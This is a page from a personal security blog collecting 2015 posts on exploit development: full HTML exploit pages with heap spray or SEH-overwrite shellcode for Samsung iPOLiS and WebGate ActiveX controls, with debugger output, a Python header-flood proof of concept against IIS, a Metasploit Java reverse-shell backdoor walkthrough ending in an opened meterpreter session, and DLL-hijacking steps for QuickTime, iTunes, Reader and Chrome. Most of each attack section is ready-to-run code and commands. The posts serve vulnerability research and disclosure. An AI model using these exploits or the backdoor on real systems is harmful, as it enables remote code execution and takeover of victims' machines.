Showing posts with label Security. Show all posts
Showing posts with label Security. Show all posts

Friday, April 17, 2015

Samsung iPOLiS 1.12.2 ReadConfigValue Remote Code Execution (Heap Spray)


Both the commands given below will generate same payload but msfpayload will be discontinued from future metasploit releases.
root@kali-ucs:~# msfpayload windows/exec cmd=calc J                                                                         root@kali-ucs:~# msfvenom -p windows/exec cmd=calc -f js_le
%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u4100
root@kali-ucs:~#

Selecting js_be option to mefvenom will throw "Big endian format selected for a non big endian payload" error.

Javascript shellcode can have null bytes.

<html>
<!--
Samsung iPOLiS 1.12.2 ReadConfigValue Remote Code Execution (heap spray)
CVE: 2015-0555
Author: Praveen Darshanam
http://blog.disects.com/2015/02/samsung-ipolis-1122-xnssdkdeviceipinsta.html
http://darshanams.blogspot.com/
Tested on Windows XP SP3 IE6/7
Thanks to Peter Van Eeckhoutte for his wonderfull exploit writing tutorials
-->
<object classid='clsid:D3B78638-78BA-4587-88FE-0537A0825A72' id='target'> </object> <script>
var shellcode = unescape('%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u4100');
var bigblock = unescape('%u9090%u9090'); var headersize = 20; var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace); var block = bigblock.substring(0,bigblock.length - slackspace); while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array(); for (i = 0; i < 500; i++){ memory[i] = block + shellcode }
// SEH and nSEH will point to 0x06060606 // 0x06060606 will point to (nops+shellcode) chunk var hbuff = ""; for (i = 0; i <5000; i++) { hbuff += "\x06"; }
// trigget crash target.ReadConfigValue(hbuff);
</script> </html>

Saturday, March 28, 2015

CVE-2015-2094: WebGate WinRDS WESPPlayback.WESPPlaybackCtrl.1 StopSiteAllChannel Stack Buffer Overflow Remote Code Execution Vulnerability (0Day)

During PoC testing, to check stack alignment with below assignment
nseh = "DDDD";
var seh = "EEEE";

Process attachProcess attachProcess attach end(3eb4.39f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000e20 ebx=00000041 ecx=0329fc34 edx=00002711 esi=77c50041 edi=020bf1e0
eip=77c1dcbf esp=020bf178 ebp=020bf1a0 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210297
msvcrt!__wcstombs_mt+0x56:
77c1dcbf 881c07          mov     byte ptr [edi+eax],bl      ds:0023:020c0000=4d
0:008> !exchain
020bf260: 45454545
Invalid exception stack at 44444444
0:008> d 020bf260
020bf260  44 44 44 44 45 45 45 45-90 90 90 90 90 90 90 90  DDDDEEEE........
020bf270  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020bf280  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020bf290  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020bf2a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020bf2b0  90 90 90 90 90 90 90 90-41 41 41 41 41 41 41 41  ........AAAAAAAA
020bf2c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
020bf2d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:008> d fs:[0]
003b:00000000  60 f2 0b 02 00 00 0c 02-00 00 0b 02 00 00 00 00 `...............
003b:00000010  00 1e 00 00 00 00 00 00-00 60 fd 7f 00 00 00 00 .........`......
003b:00000020  b4 3e 00 00 f8 39 00 00-00 00 00 00 00 00 00 00 .>...9..........
003b:00000030  00 80 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040  f0 3c 24 e1 00 00 00 00-00 00 00 00 00 00 00 00 .<$.............
003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................


 Module info :
---------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
---------------------------------------------------------------------------------
 0x00870000 | 0x00ffa000 | 0x0078a000 | True   | True    | False |  False   | True   | 6.0.1 [IPPDecoder.dll] (C:\WINDOWS\system32\WESPSDK\IPPDecoder.dll)
 0x10000000 | 0x100e0000 | 0x000e0000 | False  | False   | False |  False   | True   | 1.6.42.0 [WESPPlayback.dll]
0x1007f29e : pop ebx # retn # pop esi # xor al,al # pop ebx # retn |  {PAGE_EXECUTE_READ} [WESPPlayback.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll)

Final Exploit

<html>
<title>WebGate WinRDS WESPPlayback.WESPPlaybackCtrl.1 StopSiteAllChannel Stack Buffer Overflow Vulnerability (0Day)</title>
<!--
targetFile = "C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll"
prototype  = "Sub StopSiteAllChannel ( ByVal SiteSerialNumber As String )"
progid     = "WESPPLAYBACKLib.WESPPlaybackCtrl"
Vulnerable Product = WinRDS 2.0.8
Software = http://www.webgateinc.com/wgi/eng/index.php?svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=36
-->
<object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='ssac'>
</object>
<script>

var buff1 = "";
var nops = "";
var buff2 = "";

for (i=0;i<128; i++)
{
 buff1 += "B";
}

nseh = "\xeb\x08PD";
var seh = "\xa0\xf2\x07\x10";
for (i=0;i<80; i++)
{
 nops += "\x90";
}
sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";
for (i=0;i<(5000 - (buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++)
{
 buff2 += "A";
}

fbuff = buff1 + nseh + seh + nops + sc + buff2;
ssac.StopSiteAllChannel(fbuff);

</script>
</html>

Refer below link for other WebGate exploit
http://blog.disects.com/2015/03/webgate-edvr-manager.html

Wednesday, March 25, 2015

WebGate eDVR Manager WESPMonitor.WESPMonitorCtrl LoadImage Stack Buffer Overflow Remote Code Execution (CVE-2015-2097)


WEBGATE Embedded Standard Protocol (WESP) SDK has multiple Remote Code Execution Vulnerabilities in different ActiveX controls.

Use below mona command to find pop pop ret address which creates findwild.txt at C:\Program Files\Immunity Inc\Immunity Debugger
!mona findwild -s "pop r32#*#pop r32#*#ret"

Snip of findwild.txt (addresses which I tried to use)
0x10079740 : pop esi # xor al,al # pop ebx # retn |  {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x100580bd : pop ebp # pop ebx # mov dword ptr fs:[0],ecx # add esp,34 # retn |  {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x1007973e : pop ebx # retn # pop esi # xor al,al # pop ebx # retn |  {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x1001a561 : pop ebp # mov byte ptr ds:[edx+c],1 # mov al,1 # pop ebx # retn |  {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x10014771 : pop ebx # pop ebp # retn | ascii {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x7c915242 : pop edi # pop esi # pop ebx # pop ebp # retn |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ntdll.dll)

I was trying to pick calc.exe shellcode from previous exploits which somehow didn't work, might be due to presence of bad characters (assuming) so ended up in generating payload using Metasploit.


To Make sure we are pointing to shellcode modify nseh = "\xeb\x10\x90\x90"
to nseh = "\xcc\xcc\xeb\x10";
where \xcc is an opcode which acts as breakpoint.

Following "pop pop ret" address always getting modified to a different address and seeing below error in WinDBG.
0013df5c: WESPMonitor!CxImage::`copy constructor closure'+13d20 (10073f40)

0x10079740 changes to 0x10073f40
0x100580bd changes to 0x10053fbd
0x1007973e  changes to  0x10073f3e
0x7c915242  changes to  0x7c3f5242 in ntdll

After few trial and error method found below address which doesn't have problem mentioned above might be due to the bad character issue where application is considering \x80 to \x9f as bad!
0x1001a561
0x10014771
Bad characters might cause issues while executing shellcode, those characters can be found using below technique.
http://blog.disects.com/2014/04/exploitation-identifying-bad-characters.html

>u 10079740 
10079740 5e              pop     esi
10079741 32c0            xor     al,al
10079743 5b              pop     ebx
10079744 c3              ret

Final Exploit

<html>
<!--
targetFile = "C:\Windows\System32\WESPSDK\WESPMonitor.dll"
prototype  = "Sub LoadImage ( ByVal bstrFullPath As String )"
memberName = "LoadImage"
progid     = "WESPMONITORLib.WESPMonitorCtrl"
argCount   = 1
-->

<object classid='clsid:B19147A0-C2FD-4B1F-BD20-3A3E1ABC4FC3' id='target'>
</object>
<script>
var arg1 = "";
nops = "";
var buff = "";

for(i=0;i<268;i++)
{
 arg1 += "B";
}

nseh = "\xeb\x10\x90\x90";  //jmp over addr
seh = "\x71\x47\x01\x10";  //pop pop ret addr
document.write("</br>"+"Lengths: arg1="+arg1.length+" seh="+seh.length+"</br>");

for(i=0;i<200;i++)
{
 nops += "\x90";
}

//bad cahrs = 80,82-89, 8a 8b 8c, 8e, 91-99, 9a 9b 9c 9e 9f
sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";

for(i=0;i<(4000-(arg1.length + seh.length + nseh.length + nops.length+ sc.length));i++)
{
 buff += "A";
}

// [ Junk buffer ][ next SEH ][ SE Handler ][ Shellcode ]
fbuff = arg1 + nseh + seh + nops + sc  + buff;
target.LoadImage(fbuff);

</script>
</html>

Below is the stack trace at first point exception
(33c.6d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000f41 ebx=001b012c ecx=020fe0b1 edx=02100000 esi=020fd218 edi=00001f42
eip=1004ae5b esp=020fd218 ebp=020ff280 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
*** WARNING: Unable to verify checksum for C:\WINDOWS\System32\WESPSDK\WESPMonitor.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\System32\WESPSDK\WESPMonitor.dll - 
WESPMonitor!DllUnregisterServer+0x2094b:
1004ae5b 8802            mov     byte ptr [edx],al          ds:0023:02100000=4d
0:008> !exchain
020ff274: WESPMonitor!CAudioRenderer::CloseAudio+11a61 (10014771)
Invalid exception stack at 909010eb
0:008> d fs:[0]
003b:00000000  74 f2 0f 02 00 00 10 02-00 00 0f 02 00 00 00 00 t...............
003b:00000010  00 1e 00 00 00 00 00 00-00 50 fd 7f 00 00 00 00 .........P......
003b:00000020  3c 03 00 00 d8 06 00 00-00 00 00 00 00 00 00 00 <...............
003b:00000030  00 e0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040  70 98 8e e1 00 00 00 00-00 00 00 00 00 00 00 00 p...............
003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:008> u 10014771
WESPMonitor!CAudioRenderer::CloseAudio+0x11a61:
10014771 5b              pop     ebx
10014772 5d              pop     ebp
10014773 c3              ret
0:008> d 020ff274
020ff274  eb 10 90 90 71 47 01 10-90 90 90 90 90 90 90 90  ....qG..........
020ff284  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff294  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2a4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2b4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2c4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2d4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2e4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

If you continue execution after first chance exception we will be greeted with a calculator :-)

This exploit is tested on Windows XP SP3 with IE6, IE7 and IE8.
This is tested and successfully executed when DEP is enabled.

This post is incomplete if I don't thank Peter Van Eeckhoutte aka corelanc0d3r.

Next, DEP bypass!!

Saturday, February 28, 2015

CVE-2010-2730: Microsoft IIS Request Header Buffer Overflow Vulnerability

Writing Proof of Concept based on information available on various sites.
Checkpoint details the Vulnerability as

"The vulnerability is due to a heap buffer overflow error when processing unexpected number of headers in an HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to a target server. Successful exploitation would allow an attacker to inject and execute arbitrary code on the target system with the security privileges of the IIS Worker process."

Configuring FastCGI for IIS 7.5
Browse to
    Control Panel -> Programs and Features 
click "Turn Windows features on or off" and follow the path shown below.
Note: I also tried enabling only CGI and un checking all the other checkboxes given below.


Install Administrator pack for IIS 7.5 after installing the pack click on start and type IIS you will see Internet Information Services (IIS Manager), clicking on it will take you to below window.

Configure FastCGI as shown below

If you feel configuration didn'g go fine you can configure and verify the same using CLI.
appcmd.exe is found at
%windir%\system32\inetsrv\


If FastCGI installation is successful accessing
http://localhost/phpinfo.cgi
should show below page. I created the page phpinfo.php under
C:\Inetpub\wwwroot\
make sure the directory has proper permissions.

Proof of Concept
#!/usr/bin/python

import os, sys
import urllib2

def main(all_args):
    print "in main"
    if len(all_args) != 3:
        print "invalid args"
        print "usage:\n\t%s server_ip_addr http_port"%(all_args[0])
        sys.exit();
    headers = {"Host":all_args[1],
                "Accept": "text/html,application/xhtml+xml,application/xml",
                "Accept-Language": "en-us",
                "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
                "Keep-Alive": "115",
                "Connection": "keep-alive"}

    for k,v in headers.items():
        print (k, v)

    #create junk headers
    print "Creating junk Request Headers"
    for i in range(1,400):
        junk_header = "My-Name" + str(i)
        value = "Praveen Darshanam" + str(i)
        headers.update({junk_header: value})

    url = "http://" + all_args[1] + ":" + all_args[2] + "/phpinfo.php"
    #url = "http://" + all_args[1] + "/info.php"
    print "url: " + url
    #data = "From Praveen Darshanam"
    #req = urllib2.Request(url, data, headers)
    req = urllib2.Request(url, None, headers)
    response = urllib2.urlopen(req)
    print "Response Length =" + str(len(response.read()))

if __name__ == "__main__":
    print "sys.argv=" + str(sys.argv)
    main(sys.argv)

Usage
./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py server_ip_addr http_port
praveend@praveend-VirtualBox:~$
$ ./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py 192.168.56.110 80
sys.argv=['./IIS7.5_Multiple_Headers_DoS_CVE-2010-2730.py', '192.168.56.110', '80']
in main
('Accept-Language', 'en-us')
('Connection', 'keep-alive')
('Accept', 'text/html,application/xhtml+xml,application/xml')
('Keep-Alive', '115')
('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
('Host', '192.168.56.110')
Creating junk Request Headers
url: http://192.168.56.110:80/phpinfo.php
Response Length =119639

Exploit Traffic


I didn't see any crash after sending multiple fake headers, not sure if I interpreted the Vulnerability in correct manner.

References
https://technet.microsoft.com/en-us/library/dd239230(v=ws.10).aspx
http://www.iis.net/configreference/system.webserver/fastcgi
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2730
http://www.checkpoint.com/defense/advisories/public/2013/cpai-03-dec2.html
http://www.juniper.net/security/auto/vulnerabilities/vuln4476.html
https://technet.microsoft.com/library/security/ms10-065

Saturday, February 21, 2015

Compromising machines running Linux using Metasploit JAR Backdoors

We can compromise Windows machine using malicious EXE file acting as a backdoor generated using Metasploit. Machines running  Linux can be compromised using jar backdoors.

Creating jar backdoor file using Metasploit msfpayload to hack Linux box
root@kali-praveend-attacker:~# msfpayload java/meterpreter/reverse_tcp LHOST=1.1.1.32 LPORT=8888 R > compromise.jar
[!] ************************************************************************
[!] *               The utility msfpayload is deprecated!                  *
[!] *              It will be removed on or about 2015-06-08               *
[!] *                   Please use msfvenom instead                        *
[!] *  Details: https://github.com/rapid7/metasploit-framework/pull/4333   *
[!] ************************************************************************

Execute the jar file created above on Linux box
praveen@victim:/tmp$ sudo java -jar compromise.jar

On Kali Execute below commands so that victim will connect back to the attacker when victim executes JAR backdoor
msf > use exploit/multi/handler
msf exploit(handler) > set payload java/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 1.1.1.32
LHOST => 1.1.1.32
msf exploit(handler) > set LPORT 8888
LPORT => 8888
msf exploit(handler) > exploit
msf exploit(handler) > show options
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (java/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  1.1.1.32         yes       The listen address
   LPORT  8888             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target
msf exploit(handler) > exploit
[*] Started reverse handler on 1.1.1.32:8888
[*] Starting the payload handler...
[*] Sending stage (30355 bytes) to 1.1.1.40
[*] Meterpreter session 1 opened (1.1.1.32:8888 -> 1.1.1.40:33457) at 2015-02-15 17:49:04 -0500

Post exploitation commands
meterpreter > sysinfo
Computer    : victim
OS          : Linux 3.13.0-32-generic (amd64)
Meterpreter : java/java
meterpreter > pwd
/tmp

Creating jar file from class file.
root@kali-ucs:~/rmx_remote# jar cvf compromise.jar EvilMBean.class
added manifest
adding: EvilMBean.class(in = 172) (out= 134)(deflated 22%)


Saturday, February 14, 2015

Apple QuickTimePlayer Insecure DLL Loading Code Execution

By default QuickTimePlayer installation does't come with CoreFoundation.dll but QT Player tries to load the DLL when started.

Create any malicious DLL and rename it to CoreFoundation.dll, copy to C:\Program Files (x86)\QuickTime\

After copying the DLL if we start QuickTimePlayer we will execute the code part of malicious DLL leading to DLL Injection.

Location: C:\Program Files (x86)\QuickTime\CoreFoundation.dll
Application: QuickTime 7.7.2
OS: Windows 7 Ultimate N SP1

Apples response
        After examining your report we do not see any actual security implications. 
        Writing a file to the C:\Program Files (x86)\QuickTime  directory requires local 
        administrative privileges.

Apple iTunes Insecure DLL Loading Code Execution

By default iTunes installation does't come with dwmapi.dll but iTunes tries to load the DLL when started.

Create any malicious DLL and rename it to dwmapi.dll, copy to C:\Program Files (x86)\iTunes\

After copying the DLL if we start iTunes will execute the code part of malicious DLL leading to DLL Injection.

Location: C:\Program Files (x86)\iTunes\dwmapi.dll
Application:iTunes 12.0.1.26
OS: Windows 7 Ultimate N SP1

Apples response
        After examining your report we do not see any actual security implications. 
        Writing a file to the C:\Program Files (x86)\iTunes  directory requires local 
        administrative privileges.

Acrobat Reader Insecure DLL Loading Code Execution

Rename any malicious DLL to
C:\Program Files\Adobe\Reader 11.0\Reader\ntmarta.dll
which will be loaded by Adobe Acrobat Reader.

PoC Code part of ntmarta.dll
#include <windows.h>
BOOL WINAPI DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
  MessageBox(NULL, L"DLL Injection by Disects!", L"Developed by Praveen Darshanam",
             MB_ICONWARNING|MB_CANCELTRYCONTINUE|MB_DEFBUTTON2);
}

Compile the above code into a Dynamic Loadable Library (DLL).

Tested on
        Acrobat Reader 11.0.10
        Windows 7 Ultimate N SP1

Refer
http://blog.disects.com/2014/08/dll-injection-executing-and-testing-dlls.html
http://blog.disects.com/2015/02/google-chrome-insecure-dll-loading-code.html

Google Chrome Insecure DLL Loading Code Execution

Google Chrome tries to load cryptbase.dll by default from
C:\Program Files\Google\Chrome\Application\ but the dll is not part of the installation.
Chrome fails with DLL Not Found error.

If we copy any malicious DLL renamed as cryptbase.dll to C:\Program Files\Google\Chrome\Application\
Chrome will load and execute the DLL controlled by malicious user.


The source code which I used for building the DLL is at
http://blog.disects.com/2014/08/dll-injection-executing-and-testing-dlls.html

Tested on
        Chrome 39.0.2171.95m (latest is also vulnerable)
        Windows 7 Ultimate N SP1

Reported to Google but they didn't consider it stating as Local exploit.

Counter Terrorism: Every Revolver with an IP Address

Crazy Idea or a Fantasy!

There are many terrorist attacks, terrorist groups across the world , below proposal might be one of the was to counter terrorism.

With the onset of huge data centers there is no dearth for storage and unlike IPv4, IPv6 can be used to assign IP address to any device on planet earth.
From ipv6.com
        "IPv6 provides nearly 600 quadrillion addresses for every square millimeter 
         on earth. That's 6x1023 addresses for every square meter of the earth's surface."

Internet of Things, what wiki says about IoT
        "The Internet of Things (IoT) is the interconnection of uniquely identifiable 
         embedded computing devices within the existing Internet infrastructure. 
         Typically, IoT is expected to offer advanced connectivity of devices, systems 
         and services that goes beyond machine-to-machine communications (M2M) 
         and covers a variety of protocols, domains, and applications."

Requirement
IP Address and Camera

Why should a citizen of any country maintain secrecy of holding licensed Revolver.

Detection
Now a days every phone/tab has two cameras, say, front Camera and back camera.
